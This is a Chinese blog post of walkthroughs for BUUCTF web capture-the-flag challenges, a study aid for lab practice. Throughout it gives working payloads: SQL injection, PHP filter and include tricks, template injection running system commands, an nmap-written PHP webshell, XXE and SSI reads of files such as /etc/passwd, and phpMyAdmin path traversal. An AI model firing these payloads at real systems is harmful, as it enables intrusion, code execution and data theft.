buuctf_web

a1wAys 发布于 2024-11-18 103 次阅读


RoarCTF 2019]Easy Java

第一次接触java题目,记录过程可能比较繁琐

打开界面,是用户登录,试试万能密码1' or 1=1--+没效果,看题目java,应该是跟java有关

点击help

提示找不到help.docx文件,url有filename,猜测有任意文件读取漏洞

由于我此前并未接触过java题目,问问ai

不行,可能是文件路径问题

还是不行,到这里卡了好久,本来都想看wp了,神使鬼差的试了试POST

成功了!关键代码

<servlet> 
<servlet-name>FlagController</servlet-name> 
<servlet-class>com.wm.ctf.FlagController</servlet-class> 
</servlet> 
<servlet-mapping> 
<servlet-name>FlagController</servlet-name> 
<url-pattern>/Flag</url-pattern> </servlet-mapping>

搜了一下,FlagController是servlet类文件,通常带有.class后缀,通常会储存在/WEB-INF/classes路径上

通过download下载,找一个java的class文件反编译网站解析class文件

base64解密

flag{c02faa12-80ab-4c93-b47e-18465aee1121}

[网鼎杯 2018]Fakebook

注册用户后登录,那就先注册一个

(这块卡了好久,那个blog真猜不到要是网址形式才可以)点开用户

url明显的sql注入隐患

数字型注入,用联合注入即可

几乎没有的过滤,’union select‘词检测,空格用/**/即可,按顺序注入

ok又卡住了,表名死活爆不出来,做一下默认dirsearch

哦是文件读取啊

payload:?no=-1 union/**/select 1,load_file(''/var/www/html/flag.php''),3,4#

收工!

flag{1aec932f-a6f7-4b27-8c9f-d9096c17c9c1}

[BSidesCF 2020]Had a bad day

改一下传参,文件包含无疑了

就是要包含flag.php了

有白名单过滤,必须要包含woofers或者meowers,构造伪协议

data伪协议禁用

payload:?category=php://filter/read=convert.base64-encode|woofers/resource=flag

filter伪协议进行未定义操作时会返回warning报错但不终止代码执行

BUUCTF之[网鼎杯 2020 朱雀组]phpweb 

转包可以写函数和参数,尝试eval,被禁用

经过多次尝试file_get_contents可以用

没有发现flag文件,看一眼index中的源代码

payload:func=file_get_contents&p=index.php

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

有一个class类和destruct魔术方法,没有禁用反序列化,直接修改类中数据

没有找到flag文件,上网搜一下linux的文件搜寻命令 find / -name ????

应该是第一个了

[BJDCTF2020]The mystery of ip

一眼xff,伪造IP

这里想了很久,尝试了各种方法,都不成功,浅浅撇了一眼wp,原来是模板注入,造成SSTI

参考XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

此题为PHP/模版引擎Twig注入

测试存在模板注入

找到根目录flag即可

[BJDCTF2020]ZJCTF,不过如此

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

这里涉及到一个file_get_contents()函数,而这个函数是可以绕过的

绕过方式有多种:

使用php://input伪协议绕过
1)要GET的参数?xxx=php://input
2)用post方法传入想要file_get_contents()函数返回的值
用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
或者将url改为:?xxx=data:text/plain,(url编码的内容)

payload:?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php

next.php内容

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re,$str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

此处有点困难,先学习一下/

利用preg_replace与正则表达式实现任意代码执行

代码中\1(向后匹配)之后的内容被匹配后将被进行代码执行

所以要找到一个匹配方式能不配getflag,但 . 字符不被php命名规则允许,使用/S模式会匹配所有非空白字符

解决了模式,但是会执行的命令是strlower,该如何执行getFlag呢

php的特性,双引号遇到变量是会先解析变量,单引号则直接当作字符,就像

strtolower("${getFlag()}")   此代码会先解析执行getFlag(),在执行strtolower
strtolower('${getFlag()}')   此代码会直接执行strtolower 结果${getflag()}

总结来说php中双引号是由代码执行隐患的

payload:?\S*=${getFlag()}&cmd=system('cat /flag');

既然双引号可以命令执行,那我们何不直接在getflag直接执行呢

可行的

空格不被允许,可惜了

[BUUCTF 2018]Online Tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

看到沙箱,以为这题会跟沙箱有关,搜了半天相关资料也没个头绪,最后才发现问题是出在nmap上

参考nmap -oG -iL 写入文件和读取文件之[网鼎杯 2020 朱雀组]Nmap

nmap的读写文件操作

利用-oG,可以将命令和结果写进文件。
利用-iL 和-oN。其中-iL是从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL-,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息,-oN是把扫描结果重定向到一个可读的文件logfilename中。
payload:?host=' <?=@eval($_POST[1]);?> -oG hack.php '

[GXYCTF2019]禁止套娃

这个题有点奇怪,dirsearch扫出来有git泄露,githack却获取不到,我用githack试了一下ctfhub里的git泄露题,是成功的,所以这里直接从网上的wp里找了index的源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

可以看出来,禁用了伪协议,把()内的内容替换为空,然后又替换了一些关键词,主要应该是过滤括内的部分了,在重点分析一下这个正则

首先比配是字母或这下划线后加括号,数字不被允许,后面用递归表示前面的正则匹配可以出现多次也就是可以出现aaa(bb(c(d())))的无限套娃行为,但是括号里显然不能单独出现其他字符,也就是不能用参数,所以直接用之前见过的一个无参数rce代码

show_source(next(array_reverse(scandir(pos(localeconv())))));

代码比较复杂,这里再由内到外重新理解一下

localeconv() 函数返回一个包含本地数字及货币格式信息的数组,而这个函数返回的数组第一个一定是 . 一个小数点

pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素,这就对应上一个函数返回数组的的一个元素.小数点

scandir()函数是用于获取指定路径中的文件和目录列表的内置函数。这个函数返回一个数组,包含了指定目录中的所有文件和目录。这里就相当于使用了scandir(.)返回当前目录的所有文件名的数组

array_reverse()将括号内数组逆序输出

next()顾名思义,输出下一个数组,show_sourced打印文件内容

这其实是有猜测的,当前目录文件中顺序可能是1 . 小数点永远是数组第一位 。2 .git 扫描出来的 3 flag.php 4 index.php 经过上述操作flag是倒数第二个文件,所以会被成功打印,此代码应该是之前那个题有输出限制,在此题中可以进行优化

先打印出所有文件名,再进行读取文件

此题还可以用sessionid组合拳解决,这是我看wp看到的,放个链接

[NCTF2019]Fake XML cookbook

看一眼源代码,发现前端js

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

很基础的xxe,先去学习了一下xml,然后构造一个文件读取请求

抓包,然后伪造数据

将flag内容赋值给always,然后将always输出

[GWCTF 2019]我有一个数据库

进入网站,啥也没有

用dirsearch扫描,扫出robots,phpinfo,phpmyadmin,robots让我去看phpinfo,不知道啥含义,看半天不知道info里有什么,最后进入phpmyadmin,使mysql管理界面

感觉不是个正常东西,上网一搜,漏洞还挺多的,找了一下版本是4.8.1,浏览器一搜有目录穿越漏洞,构造poc

phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

加在url就好了

[BJDCTF2020]Mark loves cat

很花里胡哨的界面,没什么头绪,dirsearch一下发现git泄露,使用githacker

flag.php中没有flag,分析index

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}



echo "the flag is: ".$flag;

很明显变量覆盖,那就是要把$flag的值赋给exit中会输出的变量,分析可知使用仅使用get传参会触发yds变量,看foreach可知$$x=$yy,构造poc

?yds=flag

在foreach中解读为

$x=yds;
$y=flag;
$yds=$flag;

产生了变量覆盖

[WUSTCTF2020]朴实无华

首先dirsearch扫描到fl4g.php(其实dirsearch没扫到,字典里没有,这是我看wp看到的😭

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?> 

代码审计level1是intval绕过,使用科学计数法

intval(2019e1)==2019<2020
intval(2019e1+1)==intval(2019e2)>2021

level2 md5绕过

同样科学计数法

0e215962017的MD5值也是0e开头,结果都是0

最后空格绕过,ls发现flllllllaaaaaaag通过tac读取%09绕过即可

[BJDCTF2020]Cookie is so stable

直接来找cookie,这么看应该是模板注入了,测试是twig

有过滤,上网搜一下,twig注入固定模板

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} //查看ID

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} //查看flag

[MRCTF2020]Ezpop

 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

典型php反序列化,构造pop链

通过show的wakeup函数调用test的get函数再进入modifier的invoke函数完成文件包含

[安洵杯 2019]easy_web

首先发现url有两个参数,img参数一眼经过base64解码,经测试,是base64->base64->hex编码,解码后是555.png

查看源代码,包含有该图片的base64编码数据

猜测img可以使文件内容进行base64编码输出,构造index.php,成功取得源代码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

代码审计,md5强类型绕过使用burp抓包(使用了string强转数组会变成array,所以数组绕过不行)

a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

cmd有许多绕过

Linux系统下绕过某个关键字的小技巧,比如flag关键字

使用反斜线绕过,刚开始也可以用find /在所有文件里找flag

[MRCTF2020]PYWebsite

首先dirsearch扫描到flag.php

感觉是xff,burp抓包试一下

额,怎么一步解了

[WesternCTF2018]shrine

直接泄露源码,flask框架,似乎是模板注入,可以传参

测试,是jinja2模板注入,

在python里,有许多内置函数,其中有一个 url_for ,其作用是给指定的函数构造 URL。配合globals(),该函数会以字典类型返回当前位置的全部全局变量。这样也可以实现查看的效果
https://blog.csdn.net/Drifter_Galaxy/article/details/116106315
先查看当前位置的全部全局变量

shrine/{{url_for.__globals__}} 

current_app': 这里的current就是指的当前的app,这样我们只需要能查看到这个的config就可以看到flag了
方法如下

{% set config=None %} 和 {% set self=None %} 将 config 和 self 变量设置为 None,其目的是防止模板注入攻击中利用这些变量来访问敏感信息。
可以通过属性访问的方式绕过这种防御。例如,使用 url_for.globals['current_app'].config['FLAG'] 这样的表达式:
config:{{url_for.__globals__['current_app'].config['FLAG']}}
这里的 config 是一个路径而不是直接的变量引用。具体来说,这个表达式:
url_for: 通常在 Flask 应用中用于生成 URL。
globals: Flask 提供的全局对象。
current_app: 代表当前应用实例。
config: 当前应用的配置对象。
['FLAG']: 从配置对象中访问名为 FLAG 的配置项。
在这个表达式中,config 只是路径的一部分,而不是直接的变量引用。因此,即使您在模板中将 config 变量设置为 None,也不会影响这个路径的解析,因为这里的 config 并不是模板中的 config 变量,而是 current_app 对象的属性。
{{url_for.__globals__['current_app'].config['FLAG']}}

也可以用

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

[安洵杯 2019]easy_serialize_php

页面源代码

 <?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

有filter函数作过滤,有extract怀疑有变量覆盖,有unserialze反序列化,触发条件是url传参f=show_image

最后是file_get_contents读取文件,应是通过反序列化控制userinfo数组的img变量为想查看的文件名

作为反序列化的变量$serialize_info是由session变量序列化,应该是用变量覆盖改变session的值

先根据提示查看phpinfo

找到要查看的文件名

进行代码审计,如何覆盖seesion使其具有img变量会被

修改,应绕过此检测,也就是使session中不具有此变量,但经过序列化和反序列化操作后重新具有此变量,而有过滤函数将序列化字符串中关键词转变为空,考察点为字符串逃逸

构造poc,先观察原始字符串和目标字符串

重新覆盖user和function,使其替换flag后能包含img变量

如此即可

[网鼎杯 2020 朱雀组]Nmap

与之前Online Tool相同,使用payload

' <?=@eval($_POST[1]);?> -oG hack.php '即可

php被过滤,使用phtml绕过

成功,蚁剑连接即可

[ASIS 2019]Unicorn shop

首先看到可以输入id和price

经过试错,发现id为4时是正确商品,但price中只能输入一个字符,正常输入会显示钱不足,应该是想办法绕过使price大于1337,查看一下源代码

提示utf-8很重要,应该使编码有问题,百度一下,发现utf-8使unicode的一种,通过了解unicode会发现此编码会给一些特定字符附上Numeric Value等价相同数字,比如万和数字10000等价,尝试

unicode查询网站https://www.compart.com/en/unicode

成功

[NPUCTF2020]ReadlezPHP

打开页面没有发现,源代码右键禁用,手动输入view-source

发现time.php进入

 <?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);


2024-12-12 09:40:17

代码审计

利用点$b($a)使用assert函数即可执行phpinfo

找到flag

Unicorn shop

购买物品的界面

输入两位价格提示只能输入一个字符

输入1,2,3号商品提示错误的物品,猜测应该是要成功购买商品四,应该是要通过某种方法让输入的一个字符比1337大

查看源代码,发现提示utf-8很重要,搜索一下,是unicode编码,其中一些字符会有numeric value属性,可以等效一些数字

使用Unicode - Compart网站查询

万可以等效10000,输入价格

获取到flag

[CISCN2019 华东南赛区]Web11

这个题前面考过,不难

提示ip,下面有xff,右上角显示ip

最下方描述是smarty模板,盲猜smarty模板注入,直接burp抓包构造xff输入{system("ls")}命令即可

[SWPU2019]Web1

首先注册一个账号登录

申请发布广告

简约的界面,猜测是xss

尝试alert(1),成功

不过似乎没有可以利用的bot,应该思路错了

经测试,广告申请这里存在sql注入

不过过滤的有点多啊,空格 or and --+ #

分析,空格可用/**/ ,#号结尾可以用&&'1'='1 , 但information中含有or无法使用,我们需要绕过,以下为找到的两种方法

InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。

要绕过information,就找不到列名,所以用到无列名sql注入

简单思路,给列起一个别名,并通过别名查询

payload:-1'/**/union/**/select/**/1,(select/**/group_concat(2)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

[BSidesCF 2019]Kookie

题目说要用cookie,burp抓包一下

账号密码错误,伪造一下cookie看看

ez

[极客大挑战 2019]FinalSQL

id参数数字型布尔盲注,写脚本

爆出Flaaaaag表名,继续爆字段名

这题很搞啊flag反而在F1naI1y里

flag在password里,继续爆

爆完了欸嘿

[CISCN 2019 初赛]Love Math

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

通过十进制转三十六进制构造字母传参完成构造$_GET{pi}($_GET{cos})

[极客大挑战 2019]RCE ME

简单的无字母数字命令执行,蚁剑链接

有开waf

用蚁剑插件直接绕过

[De1CTF 2019]SSRF Me

python审计,首先看启动文件app/flag.txt

两个路由,一个路由可以让我们拿到验证签名一个路由进行文件读取

exec方法中进行文件读取操作,其中要求action中同时拥有scan和read

首先获得签名

/genesign路由可以拿到MD5(key+param+‘scan’)param我们想通过输入flag.txt进行ssrf文件读取,签证加密为MD5(key+param+action)我们可以构造/genesign?param=flag.txtread来满足接下来action中的read,拿到sign后通过/De1ta路由获得flag

[BJDCTF2020]EasySearch

这是一个ssi,先来了解一下ssi

SSI全称是Server Side Includes,即服务器端包含,是一种基于服务器端的网页制作技术。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

基本原理就是:SSI在HTML文件中,可以通过注释行调用命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

在一些简单的页面中,它可以省去一些复杂的框架直接利用html执行动态化语言,执行命令的格式

<!--#include file="文件名称"-->
<!–#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"--
<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>

进入这道题

很简单的页面,dirsearch扫出来index.php.swp,直接找到源码

<?php ob_start(); function get_hash(){ $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-'; $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times $content = uniqid().$random; return sha1($content); } header("Content-Type: text/html;charset=utf-8"); *** if(isset($_POST['username']) and $_POST['username'] != '' ) { $admin = '6d0bc1'; if ( $admin == substr(md5($_POST['password']),0,6)) { echo "<script>alert('[+] Welcome to manage system')</script>"; $file_shtml = "public/".get_hash().".shtml"; $shtml = fopen($file_shtml, "w") or die("Unable to open file!"); $text = ' *** *** <h1>Hello,'.$_POST['username'].'</h1> *** ***'; fwrite($shtml,$text); fclose($shtml); *** echo "[!] Header error ..."; } else { echo "<script>alert('[!] Failed')</script>"; }else { *** } *** ?>

只需要找到一个MD5加密后的password满足前六位时6d0bc1,爆破一下发现是2020666

输入后在响应头找到url,进入

很明显那个111存在注入,直接使用ssi命令就行

找到flag

此作者没有提供个人介绍
最后更新于 2025-05-10